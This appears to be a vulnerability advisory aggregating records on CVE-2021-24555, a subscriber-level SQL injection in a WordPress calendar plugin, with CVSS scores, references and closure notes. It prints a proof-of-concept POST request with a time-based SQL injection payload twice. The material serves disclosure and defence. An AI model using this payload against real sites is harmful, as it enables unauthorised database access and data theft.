Description
The daac_delete_booking_callback function, hooked to the daac_delete_booking AJAX action, takes the id POST parameter which is passed into the SQL statement without proper sanitisation, validation or escaping, leading to a SQL Injection issue. Furthermore, the ajax action is lacking any CSRF and capability check, making it available to any authenticated user.
Related
{"id": "WPEX-ID:8EAFD84B-6214-450B-869B-0AFE7CCA4C5F", "type": "wpexploit", "bulletinFamily": "exploit", "title": "Diary & Availability Calendar <= 1.0.3 - Authenticated (subscriber+) SQL Injection", "description": "The daac_delete_booking_callback function, hooked to the daac_delete_booking AJAX action, takes the id POST parameter which is passed into the SQL statement without proper sanitisation, validation or escaping, leading to a SQL Injection issue. Furthermore, the ajax action is lacking any CSRF and capability check, making it available to any authenticated user.\n", "published": "2021-07-24T00:00:00", "modified": "2021-07-24T15:45:32", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}, "cvss2": {}, "cvss3": {}, "href": "", "reporter": "wpvulndb", "references": ["https://codevigilant.com/disclosure/2021/wp-plugin-diary-availability-calendar/"], "cvelist": ["CVE-2021-24555"], "immutableFields": [], "lastseen": "2021-09-14T23:27:21", "viewCount": 45, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2021-24555"]}, {"type": "wpvulndb", "idList": ["WPVDB-ID:8EAFD84B-6214-450B-869B-0AFE7CCA4C5F"]}], "rev": 4}, "score": {"value": 5.3, "vector": "NONE"}, "backreferences": {"references": [{"type": "cve", "idList": ["CVE-2021-24555"]}, {"type": "wpvulndb", "idList": ["WPVDB-ID:8EAFD84B-6214-450B-869B-0AFE7CCA4C5F"]}]}, "exploitation": null, "vulnersScore": 5.3}, "sourceData": "POST /wp-admin/admin-ajax.php HTTP/1.1\r\nHost: 172.28.128.50\r\nContent-Length: 40\r\nAccept: */*\r\nX-Requested-With: XMLHttpRequest\r\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\r\nOrigin: http://172.28.128.50\r\nReferer: http://172.28.128.50/wp-admin/admin.php?page=daac-calendar\r\nAccept-Language: en-US,en;q=0.9\r\nCookie: [any authenticated user]\r\nConnection: close\r\n\r\naction=daac_delete_booking&id=1%20AND%20(SELECT%201209%20FROM%20(SELECT(SLEEP(5)))bOrN)", "generation": 0, "_state": {"dependencies": 1646122968}}
{"wpvulndb": [{"lastseen": "2021-09-14T23:27:21", "description": "The daac_delete_booking_callback function, hooked to the daac_delete_booking AJAX action, takes the id POST parameter which is passed into the SQL statement without proper sanitisation, validation or escaping, leading to a SQL Injection issue. Furthermore, the ajax action is lacking any CSRF and capability check, making it available to any authenticated user.\n\n### PoC\n\nPOST /wp-admin/admin-ajax.php HTTP/1.1 Host: 172.28.128.50 Content-Length: 40 Accept: */* X-Requested-With: XMLHttpRequest Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: http://172.28.128.50 Referer: http://172.28.128.50/wp-admin/admin.php?page=daac-calendar Accept-Language: en-US,en;q=0.9 Cookie: [any authenticated user] Connection: close action=daac_delete_booking&id;=1%20AND%20(SELECT%201209%20FROM%20(SELECT(SLEEP(5)))bOrN)\n", "cvss3": {}, "published": "2021-07-24T00:00:00", "type": "wpvulndb", "title": "Diary & Availability Calendar <= 1.0.3 - Authenticated (subscriber+) SQL Injection", "bulletinFamily": "software", "cvss2": {}, "cvelist": ["CVE-2021-24555"], "modified": "2021-07-24T15:45:32", "id": "WPVDB-ID:8EAFD84B-6214-450B-869B-0AFE7CCA4C5F", "href": "https://wpscan.com/vulnerability/8eafd84b-6214-450b-869b-0afe7cca4c5f", "sourceData": "", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}], "cve": [{"lastseen": "2022-03-23T14:57:06", "description": "The daac_delete_booking_callback function, hooked to the daac_delete_booking AJAX action, takes the id POST parameter which is passed into the SQL statement without proper sanitisation, validation or escaping, leading to a SQL Injection issue. Furthermore, the ajax action is lacking any CSRF and capability check, making it available to any authenticated user.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-08-23T12:15:00", "type": "cve", "title": "CVE-2021-24555", "cwe": ["CWE-89"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-24555"], "modified": "2021-08-26T23:07:00", "cpe": ["cpe:/a:roosty:diary-availability-calendar:1.0.3"], "id": "CVE-2021-24555", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-24555", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}, "cpe23": ["cpe:2.3:a:roosty:diary-availability-calendar:1.0.3:*:*:*:*:wordpress:*:*"]}], "patchstack": [{"lastseen": "2022-06-01T19:31:23", "description": "Authenticated SQL Injection (SQLi) vulnerability discovered by Shreya Pohekar in WordPress Diary & Availability Calendar plugin (versions <= 1.0.3).\n\n## Solution\n\n\r\n This plugin has been closed as of May 19, 2021 and is not available for download. Reason: Security Issue.\r\n ", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-07-23T00:00:00", "type": "patchstack", "title": "WordPress Diary & Availability Calendar plugin <= 1.0.3 - Authenticated SQL Injection (SQLi) vulnerability", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-24555"], "modified": "2021-07-23T00:00:00", "id": "PATCHSTACK:A4DE855257B441B4DAB04797763B754B", "href": "https://patchstack.com/database/vulnerability/diary-availability-calendar/wordpress-diary-availability-calendar-plugin-1-0-3-authenticated-sql-injection-sqli-vulnerability", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}]}